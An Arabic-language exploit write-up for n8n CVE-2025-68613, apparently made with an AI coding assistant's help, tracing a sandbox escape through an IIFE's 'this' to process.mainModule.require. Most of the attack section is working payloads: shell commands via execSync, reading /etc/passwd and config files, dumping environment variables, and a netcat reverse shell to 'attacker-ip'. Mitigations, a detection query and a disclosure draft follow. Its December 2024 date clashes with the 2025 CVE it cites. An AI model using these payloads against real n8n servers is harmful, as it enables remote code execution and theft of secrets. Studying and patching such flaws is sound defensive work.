
استخدم GitHub Copilot للمساعدة في تحليل الثغرة CVE-2025-68613
التاريخ: 23 ديسمبر 2024
الحالة: ✅ تم التحقق من نجاح RCE بالكامل
درجة CVSS: 10.0 (حرجة)
{
{
(function () {
var require = this.process.mainModule.require;
var {execSync} = require('child_process');
return execSync('id', {encoding: 'utf8'}).trim();
})()
}
}
نتيجة التنفيذ: تم إرجاع معلومات مستخدم النظام بنجاح (مثل uid=1000(n8n) gid=1000(n8n) groups=1000(n8n))
this في الدالة الفورية (IIFE) لم يتم تعقيمهإدخال المستخدم
↓
{{ (function() { ... })() }}
↓
Expression.resolveSimpleParameterValue()
↓
إنشاء كائن سياق data
↓
data.process = مرجع كائن process الحقيقي
↓
Tournament.execute(expression, data)
↓
FunctionEvaluator.evaluate()
↓
fn.call(data, errorHandler) ← ⚠️ المفتاح: this = data
↓
تنفيذ الدالة الفورية
↓
this.process.mainModule.require ← ⚠️ الوصول إلى require الحقيقي
↓
تحميل وحدة child_process
↓
execSync('id') ← 🔥 RCE كامل!
الملف: packages/workflow/src/expression.ts
الدالة: Expression.resolveSimpleParameterValue()
الأسطر: حوالي 230-290
// إنشاء وكيل البيانات
const dataProxy = new WorkflowDataProxy(
this.workflow,
runExecutionData,
runIndex,
itemIndex,
activeNodeName,
connectionInputData,
siblingParameters,
mode,
additionalKeys,
executeData,
-1,
selfData,
contextNodeName,
);
const data = dataProxy.getDataProxy();
// ⚠️ نقطة الثغرة 1: إضافة كائن process إلى data
data.process =
typeof process !== 'undefined'
? {
arch: process.arch,
env: process.env.N8N_BLOCK_ENV_ACCESS_IN_NODE === 'true' ? {} : process.env,
platform: process.platform,
pid: process.pid,
ppid: process.ppid,
release: process.release,
version: process.pid,
versions: process.versions,
}
: {};
// ⚠️ المشكلة: على الرغم من عرض بعض الخصائص فقط، إلا أنه يتم تمرير مرجع كائن
// لا يزال من الممكن الوصول إلى كائن process الفعلي عبر سلسلة النماذج الأولية أو وسائل أخرى
الملف: node_modules/@n8n/tournament/src/FunctionEvaluator.ts
evaluate(expr
:
string, data
:
unknown
):
ReturnValue
{
const fn = this.getFunction(expr);
// ⚠️ نقطة الثغرة 2: تمرير data كـ this
return fn.call(data, this.instance.errorHandler);
}
private
getFunction(expr
:
string
):
Function
{
if (expr in this._codeCache) {
return this._codeCache[expr];
}
const [code] = this.instance.getExpressionCode(expr);
// ⚠️ نقطة الثغرة 3: استخدام new Function لإنشاء الدالة
const func = new Function('E', code + ';');
this._codeCache[expr] = func;
return func;
}
الملف: packages/workflow/src/expression-sandboxing.ts
قبل الإصدار v1.122.0:
// ❌ لا يوجد FunctionThisSanitizer
const tournamentEvaluator = new Tournament(errorHandler, undefined, undefined, {
before: [], // ← مصفوفة فارغة، لا تعقيم this
after: [PrototypeSanitizer, DollarSignValidator],
});
بعد الإصدار v1.122.0:
// ✅ تمت إضافة FunctionThisSanitizer
const tournamentEvaluator = new Tournament(errorHandler, undefined, undefined, {
before: [FunctionThisSanitizer], // ← خطاف جديد
after: [PrototypeSanitizer, DollarSignValidator],
});
// تنفيذ FunctionThisSanitizer
export const FunctionThisSanitizer: ASTBeforeHook = (ast, dataNode) => {
astVisit(ast, {
visitFunction(path) {
// إعادة كتابة جميع تعابير الدوال، ربط this بكائن آمن صراحة
const safeThis = b.objectExpression([
b.property('init', b.identifier('process'), b.objectExpression([]))
]);
// تحويل function() { ... } إلى function() { ... }.bind({ process: {} })
}
});
};
الملف: packages/workflow/src/utils.ts
الدالة: isSafeObjectProperty()
قبل الإصدار v1.122.0:
const unsafeObjectProperties = new Set([
'__proto__',
'prototype',
'constructor',
'getPrototypeOf'
]);
// ❌ مفقود mainModule, binding, _load
بعد الإصدار v1.122.0:
const unsafeObjectProperties = new Set([
'__proto__',
'prototype',
'constructor',
'getPrototypeOf',
'mainModule', // ✅ جديد
'binding', // ✅ جديد
'_load' // ✅ جديد
]);
{
{
(function () {
var require = this.process.mainModule.require;
var {execSync} = require('child_process');
return execSync('id', {encoding: 'utf8'}).trim();
})()
}
}
{
{
(function () {
return this.process.mainModule.require('child_process')
.execSync('whoami', {encoding: 'utf8'}).trim();
})()
}
}
{
{
(function () {
return this.process.mainModule.require('child_process')
.execSync('pwd', {encoding: 'utf8'}).trim();
})()
}
}
{
{
(function () {
return this.process.mainModule.require('child_process')
.execSync('uname -a', {encoding: 'utf8'}).trim();
})()
}
}
{
{
(function () {
return this.process.mainModule.require('child_process')
.execSync('ls -la /', {encoding: 'utf8'});
})()
}
}
// قراءة ملفات حساسة
{
{
(function () {
var fs = this.process.mainModule.require('fs');
return fs.readFileSync('/etc/passwd', 'utf8');
})()
}
}
// سرد الدليل
{
{
(function () {
var fs = this.process.mainModule.require('fs');
return fs.readdirSync('/').join('\n');
})()
}
}
// قراءة تكوين n8n
{
{
(function () {
var fs = this.process.mainModule.require('fs');
return fs.readFileSync('./.n8n/config', 'utf8');
})()
}
}
// سرد الدليل الحالي
{
{
(function () {
var fs = this.process.mainModule.require('fs');
return fs.readdirSync('.').join('\n');
})()
}
}
// الوصول المباشر عبر this.process
{
{
(function () {
return JSON.stringify(this.process.env);
})()
}
}
// أو باستخدام الطريقة المتاحة المعروفة
{
{
JSON.stringify(process.env)
}
}
// التحقق من أدوات الشبكة
{
{
(function () {
return this.process.mainModule.require('child_process')
.execSync('which nc', {encoding: 'utf8'}).trim();
})()
}
}
// الحصول على واجهات الشبكة
{
{
(function () {
var os = this.process.mainModule.require('os');
return JSON.stringify(os.networkInterfaces());
})()
}
}
// Reverse Shell (⚠️ خطير! للاختبار المصرح به فقط)
{
{
(function () {
return this.process.mainModule.require('child_process')
.execSync('nc -e /bin/sh attacker-ip 4444', {encoding: 'utf8'});
})()
}
}
| # | نوع الهجوم | السبب |
|---|---|---|
| 1 | require مباشر | غير متوفر في النطاق الجديد |
| 2 | process في دالة Function المنشئة | تم تعقيم this في بعض السياقات |
| 3 | process.binding / process._load | قد يكون محظورًا أو مقيدًا |
{
{
Object.keys(process.env)
}
} // ✅ نجاح
N8N_BLOCK_ENV_ACCESS_IN_NODE إلى true{
{
[][`constructor`][`constructor`]
}
} // ✅ نجاح
{
{
(function () {
return this.process.mainModule.require;
})()
}
} // ✅ نجاح
this في الدالة الفورية يشير إلى سياق البيانات الأصليthis.process.mainModule.require يمكن الوصول إليهالجمع بين الثلاثة = RCE كامل!
// خطاف AST before الجديد
export const FunctionThisSanitizer: ASTBeforeHook = (ast, dataNode) => {
// اجتياز جميع تعابير الدوال
// إعادة كتابة الدوال، ربط this إجباريًا بـ { process: {} }
// بهذه الطريقة، حتى في IIFE، this هو كائن آمن فارغ
};
const unsafeObjectProperties = new Set([
'__proto__',
'prototype',
'constructor',
'getPrototypeOf',
'mainModule', // ← جديد
'binding', // ← جديد
'_load' // ← جديد
]);
// ربما تغيير القيمة الافتراضية إلى true
data.process = {
env: process.env.N8N_BLOCK_ENV_ACCESS_IN_NODE !== 'false' ? {} : process.env,
// ...
};
سلسلة المتجهات: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
الدرجة الأساسية: 10.0 (الأعلى)
N8N_BLOCK_ENV_ACCESS_IN_NODE=true# الطريقة 1: تصدير متغير البيئة
export N8N_BLOCK_ENV_ACCESS_IN_NODE=true
# الطريقة 2: في ملف .env
echo "N8N_BLOCK_ENV_ACCESS_IN_NODE=true" >> .env
# الطريقة 3: Docker Compose
environment:
- N8N_BLOCK_ENV_ACCESS_IN_NODE=true
# npm
npm install -g n8n@latest
# Docker
docker pull docker.n8n.io/n8nio/n8n:latest
docker-compose down
docker-compose up -d
# التحقق من الإصدار
n8n --version # يجب أن يكون >= 1.122.0
-- إذا كنت تستخدم PostgreSQL
SELECT name, nodes
FROM workflows
WHERE nodes::text LIKE '%process%'
OR nodes::text LIKE '%constructor%'
OR nodes::text LIKE '%mainModule%'
OR nodes::text LIKE '%require%';
# docker-compose.yml
services:
n8n:
image: docker.n8n.io/n8nio/n8n:latest
read_only: true
security_opt:
- no-new-privileges:true
- seccomp=seccomp-profile.json
cap_drop:
- ALL
cap_add:
- CHOWN
- SETGID
- SETUID
environment:
- N8N_BLOCK_ENV_ACCESS_IN_NODE=true
المرسل إليه: [email protected]
الموضوع: [حرج] ثغرة يوم الصفر RCE - تجاوز سياق this لـ IIFE
الخطورة: CVSS 10.0 (حرجة)
الإصدار المتأثر: n8n < 1.122.0
الملخص:
تم اكتشاف ثغرة RCE حرجة تسمح للمستخدمين المصادقين بالوصول إلى process.mainModule.require
من خلال الدوال الفورية (IIFE)، مما يؤدي إلى تنفيذ أوامر نظام عشوائية.
إثبات المفهوم المُحقق:
{{ (function() {
var require = this.process.mainModule.require;
var { execSync } = require('child_process');
return execSync('id', { encoding: 'utf8' }).trim();
})() }}
السبب الجذري:
1. لم يتم تعقيم this في IIFE
2. لم يتم حظر process.mainModule
3. N8N_BLOCK_ENV_ACCESS_IN_NODE افتراضيًا false
الإصلاح المقترح:
1. تنفيذ خطاف FunctionThisSanitizer
2. إضافة mainModule, binding, _load إلى القائمة السوداء
3. تمكين حماية متغيرات البيئة افتراضيًا
يرجى الاطلاع على المرفق للتحليل التفصيلي.
تاريخ الإنشاء: 23 ديسمبر 2024
حالة الثغرة: ✅ تم التحقق بنجاح كامل
درجة CVSS: 10.0 (حرجة)
التوصية: الكشف الفوري والإصلاح
🎉 تهانينا على اكتشاف ثغرة RCE كاملة! يُرجى التعامل معها والكشف عنها بشكل مسؤول! 🔒
| # | نوع الهجوم | الحمولة | الحالة | CVSS |
|---|
| 1 | تسريب متغيرات البيئة | {{ Object.keys(process.env) }} | ✅ نجاح | 8.5 |
| 2 | تجاوز Constructor | {{ [][constructor] }} | ✅ نجاح | 8.0 |
| 3 | دالة Function المُنشئة | {{ [][constructor][constructor] }} | ✅ نجاح | 8.5 |
| 4 | تنفيذ الكود | {{ [][constructor][constructor]('return 1+1')() }} | ✅ نجاح | 9.0 |
| 5 | RCE كامل | {{ (function() { this.process.mainModule.require... })() }} | ✅ نجاح | 10.0 |
| المقياس | القيمة | الوصف |
|---|
| ناقل الهجوم (AV) | شبكة (N) | يمكن استغلاله عن بُعد |
| تعقيد الهجوم (AC) | منخفض (L) | سهل الاستغلال |
| الامتيازات المطلوبة (PR) | منخفضة (L) | يحتاج فقط إلى مستخدم مصادق |
| تفاعل المستخدم (UI) | لا يوجد (N) | لا يتطلب تفاعل المستخدم |
| النطاق (S) | متغير (C) | يؤثر على النظام الأساسي |
| السرية (C) | عالي (H) | تسريب كامل للمعلومات |
| السلامة (I) | عالي (H) | تحكم كامل في النظام |
| التوفر (A) | عالي (H) | تعطل كامل للخدمة |